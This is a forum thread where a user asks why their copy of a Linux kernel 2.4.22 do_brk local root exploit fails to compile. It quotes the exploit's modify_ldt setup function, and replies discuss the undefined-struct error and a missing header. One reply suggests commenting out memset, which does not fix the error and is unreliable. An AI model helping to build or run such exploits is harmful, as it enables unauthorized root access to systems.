|
|||||||
| Programming A place for our community to discuss their own security related coding projects. |
![]() |
|
|
LinkBack | Thread Tools | Display Modes |
|
||||
|
Hi,
I've encountered a error when trying to compile a program. The error is: Code:
In function 'ldt': error: storage size of 'l' isn't known Linux Kernel <= 2.4.22 (do_brk) Local Root Exploit (working) The function in question looks like this: Code:
int modify_ldt(int, void *, unsigned);
void ldt(unsigned * m)
{
struct modify_ldt_ldt_s l;
map(m);
memset(&l, 0, sizeof(l));
l.entry_number = LDT_ENTRIES - 1;
l.seg_32bit = 1;
l.base_addr = MAGIC >> 16;
l.limit = MAGIC & 0xffff;
if (modify_ldt(1, &l, sizeof(l)) == -1)
fatal("Unable to set up LDT");
l.entry_number = ENTRY_MAGIC / 2;
if (modify_ldt(1, &l, sizeof(l)) == -1)
fatal("Unable to set up LDT");
find(m);
|
|
||||
|
I'll try to be a little more clear.
The full error message looks like this Code:
linux-kernel-2.4.22-do_brk-local.c: In function 'ldt': linux-kernel-2.4.22-do_brk-local.c:150: error: storage size of 'l' isn't known Also near the end of the program there is a ldt code: Code:
ldt(m); expand(); knockout(); ... I really appreciate the help as my C skills are not that deep. |
|
|||
|
try this
Code:
void ldt(unsigned * m)
{
struct modify_ldt_ldt_s l;
map(m);
//memset(&l, 0, sizeof(l));
l.entry_number = LDT_ENTRIES - 1;
l.seg_32bit = 1;
l.base_addr = MAGIC >> 16;
l.limit = MAGIC & 0xffff;
if (modify_ldt(1, &l, sizeof(l)) == -1)
fatal("Unable to set up LDT");
l.entry_number = ENTRY_MAGIC / 2;
if (modify_ldt(1, &l, sizeof(l)) == -1)
fatal("Unable to set up LDT");
find(m);
}
|
|
||||
|
Quote:
|
|
||||
|
It is possible to "declare" a structure without "defining" it.
When you declare a structure, all you're doing is saying to the compiler "This is the name of a structure", you're not giving it any information such as what the structure contains or how much memory it consumes. When you define a structure, you give full details of what the structure contains, so the compiler knows how much memory the structure will take up. The problem with your code is that "modify_ldt_ldt_s" has been declared but it has not been defined. I can see either one of two reasons why: 1) You're missing the inclusion of the header file that defines this structure (this is most likely) 2) You've included all the right header files, but they contain errors (not very likely) You can duplicate the error you got using this simple code: Code:
struct Struct_That_Hasnt_Been_Defined;
int main(void)
{
struct Struct_That_Hasnt_Been_Defined my_object;
return 0;
}
__________________
Ask questions on the open forums, that way everybody benefits from the solution, and everybody can be corrected when they make mistakes. Don't send me private messages asking questions that should be asked on the open forums, I won't respond. I decline all "Friend Requests". |
![]() |
| Bookmarks |
| Thread Tools | |
| Display Modes | |
|
|